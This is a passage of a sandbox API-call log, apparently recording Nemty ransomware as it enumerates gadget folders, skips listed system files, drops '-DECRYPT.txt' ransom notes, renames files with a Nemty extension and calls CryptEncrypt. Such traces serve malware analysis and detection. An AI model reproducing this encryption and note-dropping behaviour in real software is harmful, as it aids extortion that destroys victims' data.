lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.245] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0151.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.251] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0151.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.251] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0151.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0151.251] CloseHandle (hObject=0xffffffff) returned 0 [0151.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0151.251] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0151.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0151.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0151.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0151.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0151.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0151.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0151.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0151.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0151.252] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\icon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\icon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\icon.png._nemty_kgobjgd_")) returned 0 [0151.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0151.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0151.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0151.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0151.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0151.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0151.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0151.252] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8052fafa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8052fafa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="images", cAlternateFileName="")) returned 1 [0151.252] lstrcmpiW (lpString1="images", lpString2=".") returned 1 [0151.252] lstrcmpiW (lpString1="images", lpString2="..") returned 1 [0151.252] lstrcmpiW (lpString1="images", lpString2="...") returned 1 [0151.252] lstrcmpiW (lpString1="images", lpString2="windows") returned -1 [0151.252] lstrcmpiW (lpString1="images", lpString2="$RECYCLE.BIN") returned 1 [0151.252] lstrcmpiW (lpString1="images", lpString2="rsa") returned -1 [0151.252] lstrcmpiW (lpString1="images", lpString2="NTDETECT.COM") returned -1 [0151.252] lstrcmpiW (lpString1="images", lpString2="ntldr") returned -1 [0151.252] lstrcmpiW (lpString1="images", lpString2="MSDOS.SYS") returned -1 [0151.252] lstrcmpiW (lpString1="images", lpString2="IO.SYS") returned -1 [0151.252] lstrcmpiW (lpString1="images", lpString2="boot.ini") returned 1 [0151.252] lstrcmpiW (lpString1="images", lpString2="boot.ini") returned 1 [0151.252] lstrcmpiW (lpString1="images", lpString2="AUTOEXEC.BAT") returned 1 [0151.252] lstrcmpiW (lpString1="images", lpString2="ntuser.dat") returned -1 [0151.252] lstrcmpiW (lpString1="images", lpString2="desktop.ini") returned 1 [0151.253] lstrcmpiW (lpString1="images", lpString2="CONFIG.SYS") returned 1 [0151.253] lstrcmpiW (lpString1="images", lpString2="RECYCLER") returned -1 [0151.253] lstrcmpiW (lpString1="images", lpString2="BOOTSECT.BAK") returned 1 [0151.253] lstrcmpiW (lpString1="images", lpString2="bootmgr") returned 1 [0151.253] lstrcmpiW (lpString1="images", lpString2="programdata") returned -1 [0151.253] lstrcmpiW (lpString1="images", lpString2="appdata") returned 1 [0151.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="images", lpUsedDefaultChar=0x0) returned 6 [0151.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="images", lpUsedDefaultChar=0x0) returned 6 [0151.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0151.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0151.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0151.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0151.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0151.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0151.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0151.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0151.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0151.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0151.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0151.253] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0151.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0151.256] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.256] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0151.257] CloseHandle (hObject=0x1ec) returned 1 [0151.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0151.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0151.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0151.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0151.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0151.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0151.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0151.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0151.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0151.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0151.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0151.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340200 [0151.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0151.257] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0151.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0151.258] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.258] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0151.259] CloseHandle (hObject=0x1ec) returned 1 [0151.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0151.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0151.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0151.259] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdcd58b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xdcd58b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0151.260] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0151.260] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdcd58b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xdcd58b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0151.260] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0151.260] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0151.260] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a640bd5, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x2a640bd5, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2a640bd5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="1.png", cAlternateFileName="")) returned 1 [0151.260] lstrcmpiW (lpString1="1.png", lpString2=".") returned 1 [0151.260] lstrcmpiW (lpString1="1.png", lpString2="..") returned 1 [0151.260] lstrcmpiW (lpString1="1.png", lpString2="...") returned 1 [0151.260] lstrcmpiW (lpString1="1.png", lpString2="windows") returned -1 [0151.261] lstrcmpiW (lpString1="1.png", lpString2="$RECYCLE.BIN") returned 1 [0151.261] lstrcmpiW (lpString1="1.png", lpString2="rsa") returned -1 [0151.261] lstrcmpiW (lpString1="1.png", lpString2="NTDETECT.COM") returned -1 [0151.261] lstrcmpiW (lpString1="1.png", lpString2="ntldr") returned -1 [0151.261] lstrcmpiW (lpString1="1.png", lpString2="MSDOS.SYS") returned -1 [0151.261] lstrcmpiW (lpString1="1.png", lpString2="IO.SYS") returned -1 [0151.261] lstrcmpiW (lpString1="1.png", lpString2="boot.ini") returned -1 [0151.261] lstrcmpiW (lpString1="1.png", lpString2="boot.ini") returned -1 [0151.261] lstrcmpiW (lpString1="1.png", lpString2="AUTOEXEC.BAT") returned -1 [0151.261] lstrcmpiW (lpString1="1.png", lpString2="ntuser.dat") returned -1 [0151.261] lstrcmpiW (lpString1="1.png", lpString2="desktop.ini") returned -1 [0151.261] lstrcmpiW (lpString1="1.png", lpString2="CONFIG.SYS") returned -1 [0151.261] lstrcmpiW (lpString1="1.png", lpString2="RECYCLER") returned -1 [0151.261] lstrcmpiW (lpString1="1.png", lpString2="BOOTSECT.BAK") returned -1 [0151.261] lstrcmpiW (lpString1="1.png", lpString2="bootmgr") returned -1 [0151.261] lstrcmpiW (lpString1="1.png", lpString2="programdata") returned -1 [0151.261] lstrcmpiW (lpString1="1.png", lpString2="appdata") returned -1 [0151.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0151.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.png", lpUsedDefaultChar=0x0) returned 5 [0151.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0151.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.png", lpUsedDefaultChar=0x0) returned 5 [0151.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0151.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1.png", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.png", lpUsedDefaultChar=0x0) returned 5 [0151.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0151.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1.png", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.png", lpUsedDefaultChar=0x0) returned 5 [0151.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0151.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0151.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0151.261] Sleep (dwMilliseconds=0x5) [0151.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdcfba10, dwHighDateTime=0x1d561e8)) [0151.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdcfba10, dwHighDateTime=0x1d561e8)) [0151.271] GetLastError () returned 0xb7 [0151.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0151.271] GetLastError () returned 0xb7 [0151.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0151.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0151.271] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0151.271] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0151.271] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0151.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0151.271] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="8HBAZgnkUKQ9mggOPnRnvMvGwJyXK3ltoj/3msPnrpCswmMU8dxp5UH6jgxl7uPT\r\nvAbxM3GqG88DoMtwNij5reBtrYo39mqERlACa/JQirRQ0nsD0mrU+53B0rkWFk+H\r\nX0nxOpziTLcYvQ4NlHz0+XNlWVaZE3dUoWe9PtYGzJ8W96SYcZv/DwYu24lzmUOc\r\nAyuVu8ZbUBDzRBUgH9NYOrGfmsvTwYl3gYt+ioWP/3igy666JIVzgDQ9b5/m/H+w\r\n8HcDgNb3m9eLFk61xQd1VpRzMyCTHO2OxopJL3PTYRS/BMLVR16WKuATwgAR78La\r\nigpCJ9yhaZV70apCpLCTPA==\r\n", pcchString=0x653e91c) returned 1 [0151.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0151.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0151.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0151.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0151.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0151.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0151.272] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.272] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0151.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0151.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.273] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.282] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.282] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.291] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.291] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.300] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.301] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.310] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.310] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 